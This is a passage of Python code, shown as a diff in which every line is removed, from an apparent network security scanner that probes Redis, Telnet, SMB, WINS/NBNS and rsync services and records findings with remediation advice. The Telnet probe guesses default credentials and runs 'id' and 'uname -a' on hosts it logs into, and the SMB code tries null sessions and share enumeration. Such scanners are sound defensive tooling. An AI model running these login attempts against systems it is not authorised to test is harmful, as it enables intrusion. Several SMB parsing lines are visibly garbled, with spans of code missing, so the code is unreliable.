return findings - uptime_seconds = None - for line in resp.split("\r\n"): - if line.startswith("redis_version:"): - raw["version"] = line.split(":", 1)[1].strip() - elif line.startswith("os:"): - raw["os"] = line.split(":", 1)[1].strip() - elif line.startswith("uptime_in_seconds:"): - try: - uptime_seconds = int(line.split(":", 1)[1].strip()) - raw["uptime_seconds"] = uptime_seconds - except (ValueError, IndexError): - pass - if raw["os"]: - self._emit_metadata("os_claims", "redis", raw["os"]) - if raw["version"]: - findings.append(Finding( - severity=Severity.LOW, - title=f"Redis version disclosed: {raw['version']}", - description=f"Redis {raw['version']} on {raw['os'] or 'unknown OS'}.", - evidence=f"version={raw['version']}, os={raw['os']}", - remediation="Restrict INFO command access or rename it.", - confidence="certain", - )) - if uptime_seconds is not None and uptime_seconds < 60: - findings.append(Finding( - severity=Severity.INFO, - title=f"Redis uptime <60s ({uptime_seconds}s) — possible container restart", - description="Very low uptime may indicate a recently restarted container or ephemeral instance.", - evidence=f"uptime_in_seconds={uptime_seconds}", - remediation="Investigate if the service is being automatically restarted.", - confidence="tentative", - )) - return findings - - def _redis_check_config(self, sock, raw): - """CONFIG GET dir — if accessible, it's an RCE vector.""" - findings = [] - resp = self._redis_cmd(sock, "CONFIG GET dir") - if resp.startswith("-"): - return findings # blocked, good - raw["config_writable"] = True - findings.append(Finding( - severity=Severity.CRITICAL, - title="Redis CONFIG command accessible (RCE vector)", - description="CONFIG GET is accessible, allowing attackers to write arbitrary files " - "via CONFIG SET dir / CONFIG SET dbfilename + SAVE.", - evidence=f"CONFIG GET dir response: {resp.strip()[:120]}", - remediation="Rename or disable CONFIG via rename-command in redis.conf.", - owasp_id="A05:2021", - cwe_id="CWE-94", - confidence="certain", - )) - return findings - - def _redis_check_data(self, sock, raw): - """DBSIZE — report if data is present.""" - findings = [] - resp = self._redis_cmd(sock, "DBSIZE") - if resp.startswith(":"): - try: - count = int(resp.strip().lstrip(":")) - raw["db_size"] = count - if count > 0: - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"Redis database contains {count} keys", - description="Unauthenticated access to a Redis instance with live data.", - evidence=f"DBSIZE={count}", - remediation="Enable authentication and restrict network access.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - except ValueError: - pass - return findings - - def _redis_check_clients(self, sock, raw): - """CLIENT LIST — extract connected client IPs.""" - findings = [] - resp = self._redis_cmd(sock, "CLIENT LIST") - if resp.startswith("-"): - return findings - ips = set() - for line in resp.split("\n"): - for part in line.split(): - if part.startswith("addr="): - ip_port = part.split("=", 1)[1] - ip = ip_port.rsplit(":", 1)[0] - ips.add(ip) - if ips: - raw["connected_clients"] = list(ips) - findings.append(Finding( - severity=Severity.LOW, - title=f"Redis client IPs disclosed ({len(ips)} clients)", - description=f"CLIENT LIST reveals connected IPs: {', '.join(sorted(ips)[:5])}", - evidence=f"IPs: {', '.join(sorted(ips)[:10])}", - remediation="Rename or disable CLIENT command.", - confidence="certain", - )) - return findings - - def _redis_check_persistence(self, sock, raw): - """Check INFO persistence for missing or stale RDB saves.""" - findings = [] - resp = self._redis_cmd(sock, "INFO persistence") - if resp.startswith("-"): - return findings - import time as _time - for line in resp.split("\r\n"): - if line.startswith("rdb_last_bgsave_time:"): - try: - ts = int(line.split(":", 1)[1].strip()) - if ts == 0: - findings.append(Finding( - severity=Severity.LOW, - title="Redis has never performed an RDB save", - description="rdb_last_bgsave_time is 0, meaning no background save has ever been performed. " - "This may indicate a cache-only instance with persistence disabled, or an ephemeral deployment.", - evidence="rdb_last_bgsave_time=0", - remediation="Verify whether RDB persistence is intentionally disabled; if not, configure BGSAVE.", - cwe_id="CWE-345", - confidence="tentative", - )) - elif (_time.time() - ts) > 365 * 86400: - age_days = int((_time.time() - ts) / 86400) - findings.append(Finding( - severity=Severity.LOW, - title=f"Redis RDB save is stale ({age_days} days old)", - description="The last RDB background save timestamp is over 1 year old. " - "This may indicate disabled persistence, a long-running cache-only instance, or stale data.", - evidence=f"rdb_last_bgsave_time={ts}, age={age_days}d", - remediation="Verify persistence configuration; stale saves may indicate data loss risk.", - cwe_id="CWE-345", - confidence="tentative", - )) - except (ValueError, IndexError): - pass - break - return findings - - - def _service_info_telnet(self, target, port): # default port: 23 - """ - Assess Telnet service security: banner, negotiation options, default - credentials, privilege level, system fingerprint, and credential validation. - - Checks performed (in order): - - 1. Banner grab and IAC option parsing. - 2. Default credential check — try common user:pass combos. - 3. Privilege escalation check — report if root shell is obtained. - 4. System fingerprint — run ``id`` and ``uname -a`` on successful login. - 5. Arbitrary credential acceptance test. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - import time as _time - - findings = [] - result = { - "banner": None, - "negotiation_options": [], - "accepted_credentials": [], - "system_info": None, - } - - findings.append(Finding( - severity=Severity.MEDIUM, - title="Telnet service is running (unencrypted remote access).", - description="Telnet transmits all data including credentials in cleartext.", - evidence=f"Telnet port {port} is open on {target}.", - remediation="Replace Telnet with SSH for encrypted remote access.", - owasp_id="A02:2021", - cwe_id="CWE-319", - confidence="certain", - )) - - # --- 1. Banner grab + IAC negotiation parsing --- - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(5) - sock.connect((target, port)) - raw = sock.recv(2048) - sock.close() - except Exception as e: - return probe_error(target, port, "Telnet", e) - - # Parse IAC sequences - iac_options = [] - cmd_names = {251: "WILL", 252: "WONT", 253: "DO", 254: "DONT"} - opt_names = { - 0: "BINARY", 1: "ECHO", 3: "SGA", 5: "STATUS", - 24: "TERMINAL_TYPE", 31: "WINDOW_SIZE", 32: "TERMINAL_SPEED", - 33: "REMOTE_FLOW", 34: "LINEMODE", 36: "ENVIRON", 39: "NEW_ENVIRON", - } - i = 0 - text_parts = [] - while i < len(raw): - if raw[i] == 0xFF and i + 2 < len(raw): - cmd = cmd_names.get(raw[i + 1], f"CMD_{raw[i+1]}") - opt = opt_names.get(raw[i + 2], f"OPT_{raw[i+2]}") - iac_options.append(f"{cmd} {opt}") - i += 3 - else: - if 32 <= raw[i] < 127: - text_parts.append(chr(raw[i])) - i += 1 - - banner_text = "".join(text_parts).strip() - if banner_text: - result["banner"] = banner_text - elif iac_options: - result["banner"] = "(IAC negotiation only, no text banner)" - else: - result["banner"] = "(no banner)" - result["negotiation_options"] = iac_options - - # --- 2–4. Default credential check with system fingerprint --- - def _try_telnet_login(user, passwd): - """Attempt Telnet login, return (success, uid_line, uname_line).""" - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(5) - s.connect((target, port)) - - # Read until login prompt - buf = b"" - deadline = _time.time() + 5 - while _time.time() < deadline: - try: - chunk = s.recv(1024) - if not chunk: - break - buf += chunk - if b"login:" in buf.lower() or b"username:" in buf.lower(): - break - except socket.timeout: - break - - if b"login:" not in buf.lower() and b"username:" not in buf.lower(): - s.close() - return False, None, None - - s.sendall(user.encode() + b"\n") - - # Read until password prompt - buf = b"" - deadline = _time.time() + 5 - while _time.time() < deadline: - try: - chunk = s.recv(1024) - if not chunk: - break - buf += chunk - if b"assword:" in buf: - break - except socket.timeout: - break - - if b"assword:" not in buf: - s.close() - return False, None, None - - s.sendall(passwd.encode() + b"\n") - _time.sleep(1.5) - - # Read response - resp = b"" - try: - while True: - chunk = s.recv(4096) - if not chunk: - break - resp += chunk - except socket.timeout: - pass - - resp_text = resp.decode("utf-8", errors="replace") - - # Check for login failure indicators - fail_indicators = ["incorrect", "failed", "denied", "invalid", "login:"] - if any(ind in resp_text.lower() for ind in fail_indicators): - s.close() - return False, None, None - - # Login succeeded — try to get system info - uid_line = None - uname_line = None - try: - s.sendall(b"id\n") - _time.sleep(0.5) - id_resp = s.recv(2048).decode("utf-8", errors="replace") - for line in id_resp.replace("\r\n", "\n").split("\n"): - cleaned = line.strip() - # Remove ANSI/control sequences - import re - cleaned = re.sub(r"\x1b\[[0-9;]*[a-zA-Z]", "", cleaned) - if "uid=" in cleaned: - uid_line = cleaned - break - except Exception: - pass - - try: - s.sendall(b"uname -a\n") - _time.sleep(0.5) - uname_resp = s.recv(2048).decode("utf-8", errors="replace") - for line in uname_resp.replace("\r\n", "\n").split("\n"): - cleaned = line.strip() - import re - cleaned = re.sub(r"\x1b\[[0-9;]*[a-zA-Z]", "", cleaned) - if "linux" in cleaned.lower() or "unix" in cleaned.lower() or "darwin" in cleaned.lower(): - uname_line = cleaned - break - except Exception: - pass - - s.close() - return True, uid_line, uname_line - - except Exception: - return False, None, None - - system_info_captured = False - for user, passwd in _TELNET_DEFAULT_CREDS: - success, uid_line, uname_line = _try_telnet_login(user, passwd) - if success: - result["accepted_credentials"].append(f"{user}:{passwd}") - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"Telnet default credential accepted: {user}:{passwd}", - description="The Telnet server accepted a well-known default credential.", - evidence=f"Accepted credential: {user}:{passwd}", - remediation="Change default passwords immediately and enforce strong credential policies.", - owasp_id="A07:2021", - cwe_id="CWE-798", - confidence="certain", - )) - # Check for root access - if uid_line and "uid=0" in uid_line: - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"Root shell access via Telnet with {user}:{passwd}.", - description="Root-level shell access was obtained over an unencrypted Telnet session.", - evidence=f"uid=0 in id output: {uid_line}", - remediation="Disable root login via Telnet; use SSH with key-based auth instead.", - owasp_id="A07:2021", - cwe_id="CWE-250", - confidence="certain", - )) - - # Capture system info once - if not system_info_captured and (uid_line or uname_line): - parts = [] - if uid_line: - parts.append(uid_line) - if uname_line: - parts.append(uname_line) - result["system_info"] = " | ".join(parts) - system_info_captured = True - - # --- 5. Arbitrary credential acceptance test --- - import string as _string - ruser = "".join(random.choices(_string.ascii_lowercase, k=8)) - rpass = "".join(random.choices(_string.ascii_letters + _string.digits, k=12)) - success, _, _ = _try_telnet_login(ruser, rpass) - if success: - findings.append(Finding( - severity=Severity.CRITICAL, - title="Telnet accepts arbitrary credentials", - description="Random credentials were accepted, indicating a dangerous misconfiguration or deceptive service.", - evidence=f"Accepted random creds {ruser}:{rpass}", - remediation="Investigate immediately — authentication is non-functional.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - - return probe_result(raw_data=result, findings=findings) - - - def _service_info_smb(self, target, port): # default port: 445 - """ - Probe SMB services: dialect negotiation, version extraction, CVE matching, - null session test, and security flag analysis. - - Checks performed: - - 1. SMB negotiate — determine supported dialect (SMBv1/v2/v3). - 2. Version extraction — parse Samba/Windows version from NativeOS/NativeLanMan. - 3. Security flags — check signing requirements. - 4. Null session — attempt anonymous IPC$ access. - 5. CVE matching — run check_cves on extracted Samba version. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = { - "banner": None, "dialect": None, "server_os": None, - "server_domain": None, "samba_version": None, - "signing_required": None, "smbv1_supported": False, - } - - # --- 1. SMBv1 Negotiate --- - # Build a proper SMBv1 Negotiate Protocol Request with NT LM 0.12 dialect - dialects = b"\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00" - smb_header = bytearray(32) - smb_header[0:4] = b"\xffSMB" # Protocol ID - smb_header[4] = 0x72 # Command: Negotiate - # Flags: 0x18 (case-sensitive, canonicalized paths) - smb_header[13] = 0x18 - # Flags2: unicode + NT status + long names - struct.pack_into("I", len(smb_payload)) - netbios_header = b"\x00" + netbios_header[1:] # force type=0 - - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(4) - sock.connect((target, port)) - sock.sendall(netbios_header + smb_payload) - - # Read NetBIOS header (4 bytes) + full response - resp_hdr = self._smb_recv_exact(sock, 4) - if not resp_hdr: - sock.close() - findings.append(Finding( - severity=Severity.INFO, - title="SMB port open but no negotiation response", - description=f"Port {port} is open but SMB did not respond to negotiation.", - confidence="tentative", - )) - return probe_result(raw_data=raw, findings=findings) - - resp_len = struct.unpack(">I", b"\x00" + resp_hdr[1:4])[0] - resp_data = self._smb_recv_exact(sock, min(resp_len, 4096)) - sock.close() - - if not resp_data or len(resp_data) < 36: - raw["banner"] = "SMB response too short" - findings.append(Finding( - severity=Severity.MEDIUM, - title="SMB service responded to negotiation probe", - description=f"SMB on {target}:{port} accepts negotiation requests.", - evidence=f"Response: {(resp_data or b'').hex()[:48]}", - remediation="Restrict SMB access to trusted networks; disable SMBv1.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - return probe_result(raw_data=raw, findings=findings) - - # Check if SMBv1 or SMBv2 response - protocol_id = resp_data[0:4] - - if protocol_id == b"\xffSMB": - # --- SMBv1 response --- - raw["smbv1_supported"] = True - raw["banner"] = "SMBv1 negotiation response received" - - # Parse negotiate response body (after 32-byte header) - if len(resp_data) >= 37: - word_count = resp_data[32] - if word_count >= 17 and len(resp_data) >= 32 + 1 + 34: - words_start = 33 - dialect_idx = struct.unpack_from("= 17 and len(resp_data) >= words_start + 2 + 22 + 2: - sec_blob_len = struct.unpack_from("= 1: - raw["server_domain"] = parts[0] - if len(parts) >= 2: - raw["server_name"] = parts[1] - except Exception: - pass - - # SMBv1 is a security concern - findings.append(Finding( - severity=Severity.MEDIUM, - title="SMBv1 protocol supported (legacy, attack surface for MS17-010)", - description=f"SMB on {target}:{port} supports SMBv1, which is vulnerable to " - "EternalBlue (MS17-010) and other SMBv1-specific attacks.", - evidence=f"Negotiated dialect: {raw['dialect']}, SMBv1 response received.", - remediation="Disable SMBv1 on the server (e.g., 'server min protocol = SMB2' in smb.conf).", - owasp_id="A06:2021", - cwe_id="CWE-757", - confidence="certain", - )) - - elif protocol_id == b"\xfeSMB": - # --- SMBv2/3 response --- - raw["banner"] = "SMBv2 negotiation response received" - if len(resp_data) >= 72: - smb2_dialect = struct.unpack_from(" Session Setup (null) -> Tree Connect IPC$ -> - Open \\srvsvc pipe -> DCE/RPC Bind -> NetShareEnumAll -> parse results. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - SMB port (typically 445). - - Returns - ------- - list[dict] - Each dict has keys ``name`` (str), ``type`` (int), ``comment`` (str). - Returns empty list on any failure. - """ - sock = None - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(4) - sock.connect((target, port)) - - def _send_smb(payload): - nb_hdr = b"\x00" + struct.pack(">I", len(payload))[1:] - sock.sendall(nb_hdr + payload) - - def _recv_smb(): - resp_hdr = self._smb_recv_exact(sock, 4) - if not resp_hdr: - return None - resp_len = struct.unpack(">I", b"\x00" + resp_hdr[1:4])[0] - return self._smb_recv_exact(sock, min(resp_len, 65536)) - - # ---- 1. Negotiate (NT LM 0.12) ---- - dialects = b"\x02NT LM 0.12\x00" - smb_hdr = bytearray(32) - smb_hdr[0:4] = b"\xffSMB" - smb_hdr[4] = 0x72 # Negotiate - smb_hdr[13] = 0x18 - struct.pack_into(" len(enum_resp): - data_len = len(enum_resp) - data_off - if data_off >= len(enum_resp) or data_len < 24: - return [] - - dce_data = enum_resp[data_off:data_off + data_len] - - # DCE/RPC response header is 24 bytes, then stub data - if len(dce_data) < 24: - return [] - dce_stub = dce_data[24:] - - return self._parse_netshareenumall_response(dce_stub) - - except Exception: - return [] - finally: - if sock: - try: - sock.close() - except Exception: - pass - - @staticmethod - def _parse_netshareenumall_response(stub): - """Parse NetShareEnumAll DCE/RPC stub response into share list. - - Parameters - ---------- - stub : bytes - DCE/RPC stub data (after the 24-byte response header). - - Returns - ------- - list[dict] - Each dict: {"name": str, "type": int, "comment": str}. - """ - shares = [] - try: - if len(stub) < 20: - return [] - - # Response stub layout: - # [4] info_level - # [4] switch_value - # [4] referent pointer for SHARE_INFO_1_CONTAINER - # [4] entries_read - # [4] referent pointer for array - # Then for each entry: [4] name_ptr, [4] type, [4] comment_ptr - # Then the actual strings (NDR conformant arrays) - - offset = 0 - offset += 4 # info_level - offset += 4 # switch_value - offset += 4 # referent pointer - if offset + 4 > len(stub): - return [] - entries_read = struct.unpack_from(" 500: - return [] - - offset += 4 # array referent pointer - offset += 4 # max count (NDR array header) - - # Read the fixed-size entries: name_ptr(4) + type(4) + comment_ptr(4) each - entry_records = [] - for _ in range(entries_read): - if offset + 12 > len(stub): - break - name_ptr = struct.unpack_from(" len(data): - return "", off - max_count = struct.unpack_from(" len(data): - s = data[off:].decode("utf-16-le", errors="ignore").rstrip("\x00") - return s, len(data) - s = data[off:off + byte_len].decode("utf-16-le", errors="ignore").rstrip("\x00") - off += byte_len - # Align to 4-byte boundary - if off % 4: - off += 4 - (off % 4) - return s, off - - for name_ptr, share_type, comment_ptr in entry_records: - name, offset = read_ndr_string(stub, offset) - comment, offset = read_ndr_string(stub, offset) - if name: - shares.append({ - "name": name, - "type": share_type, - "comment": comment, - }) - - except Exception: - pass - return shares - - def _smb_try_null_session(self, target, port): - """Attempt SMBv1 null session to extract Samba version from SessionSetup response. - - Returns - ------- - str or None - Extracted Samba version string (e.g. '4.6.3'), or None. - """ - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - - # --- Negotiate --- - dialects = b"\x02NT LM 0.12\x00" - smb_header = bytearray(32) - smb_header[0:4] = b"\xffSMB" - smb_header[4] = 0x72 # Negotiate - smb_header[13] = 0x18 - struct.pack_into("I", len(payload))[1:] - sock.sendall(nb_hdr + payload) - - # Read negotiate response - resp_hdr = self._smb_recv_exact(sock, 4) - if not resp_hdr: - sock.close() - return None - resp_len = struct.unpack(">I", b"\x00" + resp_hdr[1:4])[0] - self._smb_recv_exact(sock, min(resp_len, 4096)) - - # --- Session Setup AndX (null session) --- - smb_header2 = bytearray(32) - smb_header2[0:4] = b"\xffSMB" - smb_header2[4] = 0x73 # Session Setup AndX - smb_header2[13] = 0x18 - struct.pack_into("I", len(payload2))[1:] - sock.sendall(nb_hdr2 + payload2) - - # Read session setup response - resp_hdr2 = self._smb_recv_exact(sock, 4) - if not resp_hdr2: - sock.close() - return None - resp_len2 = struct.unpack(">I", b"\x00" + resp_hdr2[1:4])[0] - resp_data2 = self._smb_recv_exact(sock, min(resp_len2, 4096)) - sock.close() - - if not resp_data2: - return None - - # Extract NativeOS string — contains "Samba x.y.z" or "Windows ..." - # Search the response bytes for "Samba" followed by a version - resp_text = resp_data2.decode("utf-8", errors="ignore") - samba_match = _re.search(r'Samba\s+(\d+\.\d+(?:\.\d+)?)', resp_text) - if samba_match: - return samba_match.group(1) - - # Also try UTF-16-LE decoding - resp_text_u16 = resp_data2.decode("utf-16-le", errors="ignore") - samba_match_u16 = _re.search(r'Samba\s+(\d+\.\d+(?:\.\d+)?)', resp_text_u16) - if samba_match_u16: - return samba_match_u16.group(1) - - except Exception: - pass - return None - - - # NetBIOS name suffix → human-readable type - _NBNS_SUFFIX_TYPES = { - 0x00: "Workstation", - 0x03: "Messenger (logged-in user)", - 0x20: "File Server (SMB sharing)", - 0x1C: "Domain Controller", - 0x1B: "Domain Master Browser", - 0x1E: "Browser Election Service", - } - - def _service_info_wins(self, target, port): # ports: 42 (WINS/TCP), 137 (NBNS/UDP) - """ - Probe WINS / NetBIOS Name Service for name enumeration and service detection. - - Port 42 (TCP): WINS replication — sends MS-WINSRA Association Start Request - to fingerprint the service and extract NBNS version. Also fires a UDP - side-probe to port 137 for NetBIOS name enumeration. - Port 137 (UDP): NBNS — sends wildcard node-status query (RFC 1002) to - enumerate registered NetBIOS names. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None, "netbios_names": [], "wins_responded": False} - - # -- Build NetBIOS wildcard node-status query (RFC 1002) -- - tid = struct.pack('>H', random.randint(0, 0xFFFF)) - # Flags: 0x0010 (recursion desired) - # Questions: 1, Answers/Auth/Additional: 0 - header = tid + struct.pack('>HHHHH', 0x0010, 1, 0, 0, 0) - # Encoded wildcard name "*" (first-level NetBIOS encoding) - # '*' (0x2A) → half-bytes 0x02, 0x0A → chars 'C','K', padded with 'A' (0x00 half-bytes) - qname = b'\x20' + b'CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + b'\x00' - # Type: NBSTAT (0x0021), Class: IN (0x0001) - question = struct.pack('>HH', 0x0021, 0x0001) - nbns_query = header + qname + question - - def _parse_nbns_response(data): - """Parse a NetBIOS node-status response and return list of (name, suffix, flags).""" - names = [] - if len(data) < 14: - return names - # Verify transaction ID matches - if data[:2] != tid: - return names - ancount = struct.unpack('>H', data[6:8])[0] - if ancount == 0: - return names - # Skip past header (12 bytes) then answer name (compressed pointer or full) - idx = 12 - if idx < len(data) and data[idx] & 0xC0 == 0xC0: - idx += 2 - else: - while idx < len(data) and data[idx] != 0: - idx += data[idx] + 1 - idx += 1 - # Type (2) + Class (2) + TTL (4) + RDLength (2) = 10 bytes - if idx + 10 > len(data): - return names - idx += 10 - if idx >= len(data): - return names - num_names = data[idx] - idx += 1 - # Each name entry: 15 bytes name + 1 byte suffix + 2 bytes flags = 18 bytes - for _ in range(num_names): - if idx + 18 > len(data): - break - name_bytes = data[idx:idx + 15] - suffix = data[idx + 15] - flags = struct.unpack('>H', data[idx + 16:idx + 18])[0] - name = name_bytes.decode('ascii', errors='ignore').rstrip() - names.append((name, suffix, flags)) - idx += 18 - return names - - def _udp_nbns_probe(udp_port): - """Send UDP NBNS wildcard query, return parsed names or empty list.""" - sock = None - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(3) - sock.sendto(nbns_query, (target, udp_port)) - data, _ = sock.recvfrom(1024) - return _parse_nbns_response(data) - except Exception: - return [] - finally: - if sock is not None: - sock.close() - - def _add_nbns_findings(names, probe_label): - """Populate raw data and findings from enumerated NetBIOS names.""" - raw["netbios_names"] = [ - {"name": n, "suffix": f"0x{s:02X}", "type": self._NBNS_SUFFIX_TYPES.get(s, f"Unknown(0x{s:02X})")} - for n, s, _f in names - ] - name_list = "; ".join( - f"{n} <{s:02X}> ({self._NBNS_SUFFIX_TYPES.get(s, 'unknown')})" - for n, s, _f in names - ) - findings.append(Finding( - severity=Severity.HIGH, - title="NetBIOS name enumeration successful", - description=( - f"{probe_label} responded to a wildcard node-status query, " - "leaking computer name, domain membership, and potentially logged-in users." - ), - evidence=f"Names: {name_list[:200]}", - remediation="Block UDP port 137 at the firewall; disable NetBIOS over TCP/IP in network adapter settings.", - owasp_id="A01:2021", - cwe_id="CWE-200", - confidence="certain", - )) - findings.append(Finding( - severity=Severity.INFO, - title=f"NetBIOS names discovered ({len(names)} entries)", - description=f"Enumerated names: {name_list}", - evidence=f"Names: {name_list[:300]}", - confidence="certain", - )) - - try: - if port == 137: - # -- Direct UDP NBNS probe -- - names = _udp_nbns_probe(137) - if names: - raw["banner"] = f"NBNS: {len(names)} name(s) enumerated" - _add_nbns_findings(names, f"NBNS on {target}:{port}") - else: - raw["banner"] = "NBNS port open (no response to wildcard query)" - findings.append(Finding( - severity=Severity.INFO, - title="NBNS port open but no names returned", - description=f"UDP port {port} on {target} did not respond to NetBIOS wildcard query.", - confidence="tentative", - )) - else: - # -- TCP WINS replication probe (MS-WINSRA Association Start Request) -- - # Also attempt UDP NBNS side-probe to port 137 for name enumeration - names = _udp_nbns_probe(137) - if names: - _add_nbns_findings(names, f"NBNS side-probe to {target}:137") - - # Build MS-WINSRA Association Start Request per [MS-WINSRA] §2.2.3: - # Common Header (16 bytes): - # Packet Length: 41 (0x00000029) — excludes this field - # Reserved: 0x00007800 (opcode, ignored by spec) - # Destination Assoc Handle: 0x00000000 (first message, unknown) - # Message Type: 0x00000000 (Association Start Request) - # Body (25 bytes): - # Sender Assoc Handle: random 4 bytes - # NBNS Major Version: 2 (required) - # NBNS Minor Version: 5 (Win2k+) - # Reserved: 21 zero bytes (pad to 41) - sender_ctx = random.randint(1, 0xFFFFFFFF) - wrepl_header = struct.pack('>I', 41) # Packet Length - wrepl_header += struct.pack('>I', 0x00007800) # Reserved / opcode - wrepl_header += struct.pack('>I', 0) # Destination Assoc Handle - wrepl_header += struct.pack('>I', 0) # Message Type: Start Request - wrepl_body = struct.pack('>I', sender_ctx) # Sender Assoc Handle - wrepl_body += struct.pack('>HH', 2, 5) # Major=2, Minor=5 - wrepl_body += b'\x00' * 21 # Reserved padding - wrepl_packet = wrepl_header + wrepl_body - - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - sock.sendall(wrepl_packet) - - # Distinguish three recv outcomes: - # data received → parse as WREPL (confirmed WINS) - # timeout → connection held open, no reply (likely WINS, non-partner) - # empty / closed → server sent FIN immediately (unconfirmed service) - data = None - recv_timed_out = False - try: - data = sock.recv(1024) - except socket.timeout: - recv_timed_out = True - finally: - sock.close() - - if data and len(data) >= 20: - raw["wins_responded"] = True - # Parse response: first 4 bytes = Packet Length, next 16 = common header - resp_msg_type = struct.unpack('>I', data[12:16])[0] if len(data) >= 16 else None - version_info = "" - if resp_msg_type == 1 and len(data) >= 24: - # Association Start Response — extract version - resp_major = struct.unpack('>H', data[20:22])[0] if len(data) >= 22 else None - resp_minor = struct.unpack('>H', data[22:24])[0] if len(data) >= 24 else None - if resp_major is not None: - version_info = f" (NBNS version {resp_major}.{resp_minor})" - raw["nbns_version"] = {"major": resp_major, "minor": resp_minor} - raw["banner"] = f"WINS replication service{version_info}" - findings.append(Finding( - severity=Severity.MEDIUM, - title="WINS replication service exposed", - description=( - f"WINS on {target}:{port} responded to a WREPL Association Start Request{version_info}. " - "WINS is a legacy name-resolution service vulnerable to spoofing, enumeration, and " - "multiple remote code execution flaws (CVE-2004-1080, CVE-2009-1923, CVE-2009-1924). " - "It should not be accessible from untrusted networks." - ), - evidence=f"WREPL response ({len(data)} bytes): {data[:24].hex()}", - remediation=( - "Decommission WINS or restrict TCP port 42 to trusted replication partners. " - "If WINS is required, apply all patches (MS04-045, MS09-039) and set the registry key " - "RplOnlyWCnfPnrs=1 to accept replication only from configured partners." - ), - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - elif data: - # Got some data but not enough for a valid WREPL response - raw["wins_responded"] = True - raw["banner"] = f"Port {port} responded ({len(data)} bytes, non-WREPL)" - findings.append(Finding( - severity=Severity.LOW, - title=f"Service on port {port} responded but is not standard WINS", - description=( - f"TCP port {port} on {target} returned data that does not match the " - "WINS replication protocol (MS-WINSRA). Another service may be listening." - ), - evidence=f"Response ({len(data)} bytes): {data[:32].hex()}", - confidence="tentative", - )) - elif recv_timed_out: - # Connection accepted AND held open after our WREPL packet, but no - # reply — consistent with WINS silently dropping a non-partner request - # (RplOnlyWCnfPnrs=1). A non-WINS service would typically RST or FIN. - raw["banner"] = "WINS likely (connection held, no WREPL reply)" - findings.append(Finding( - severity=Severity.MEDIUM, - title="WINS replication port open (non-partner rejected)", - description=( - f"TCP port {port} on {target} accepted a WREPL Association Start Request " - "and held the connection open without responding, consistent with a WINS " - "server configured to reject non-partner replication (RplOnlyWCnfPnrs=1). " - "An exposed WINS port is a legacy attack surface subject to remote code " - "execution flaws (CVE-2004-1080, CVE-2009-1923, CVE-2009-1924)." - ), - evidence="TCP connection accepted and held open; WREPL handshake: no reply after 3 s", - remediation=( - "Block TCP port 42 at the firewall if WINS replication is not needed. " - "If required, restrict to trusted replication partners only." - ), - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="firm", - )) - else: - # recv returned empty — server immediately closed the connection. - # Cannot confirm WINS; don't produce a finding. The port scan - # already reports the open port; a "service unconfirmed" finding - # adds no actionable value to the report. - pass - except Exception as e: - return probe_error(target, port, "WINS/NBNS", e) - - if not findings: - # Could not confirm WINS — downgrade the protocol label so the UI - # does not display an unverified "WINS" tag from WELL_KNOWN_PORTS. - port_protocols = self.state.get("port_protocols") - if port_protocols and port_protocols.get(port) in ("wins", "nbns"): - port_protocols[port] = "unknown" - return None - - return probe_result(raw_data=raw, findings=findings) - - def _service_info_rsync(self, target, port): # default port: 873 - """ - Rsync service probe: version handshake, module enumeration, auth check. - - Checks performed: - - 1. Banner grab — extract rsync protocol version. - 2. Module enumeration — ``#list`` to discover available modules. - 3. Auth check — connect to each module to test unauthenticated access. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"version": None, "modules": []} - - # --- 1. Connect and receive banner --- - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - banner = sock.recv(256).decode("utf-8", errors="ignore").strip() - except Exception as e: - return probe_error(target, port, "rsync", e) - - if not banner.startswith("@RSYNCD:"): - try: - sock.close() - except Exception: - pass - findings.append(Finding( - severity=Severity.INFO, - title=f"Port {port} open but no rsync banner", - description=f"Expected @RSYNCD banner, got: {banner[:80]}", - confidence="tentative", - )) - return probe_result(raw_data=raw, findings=findings) - - # Extract protocol version - proto_version = banner.split(":", 1)[1].strip().split()[0] if ":" in banner else None - raw["version"] = proto_version - - findings.append(Finding( - severity=Severity.LOW, - title=f"Rsync service detected (protocol {proto_version})", - description=f"Rsync daemon is running on {target}:{port}.", - evidence=f"Banner: {banner}", - remediation="Restrict rsync access to trusted networks; require authentication for all modules.", - cwe_id="CWE-200", - confidence="certain", - )) - - # --- 2. Module enumeration --- - try: - # Send matching version handshake + list request - sock.sendall(f"@RSYNCD: {proto_version}\n".encode()) - sock.sendall(b"#list\n") - # Read module listing until @RSYNCD: EXIT - module_data = b"" - while True: - chunk = sock.recv(4096) - if not chunk: - break - module_data += chunk - if b"@RSYNCD: EXIT" in module_data: - break - sock.close() - - modules = [] - for line in module_data.decode("utf-8", errors="ignore").splitlines(): - line = line.strip() - if line.startswith("@RSYNCD:") or not line: - continue - # Format: "module_name\tdescription" or just "module_name" - parts 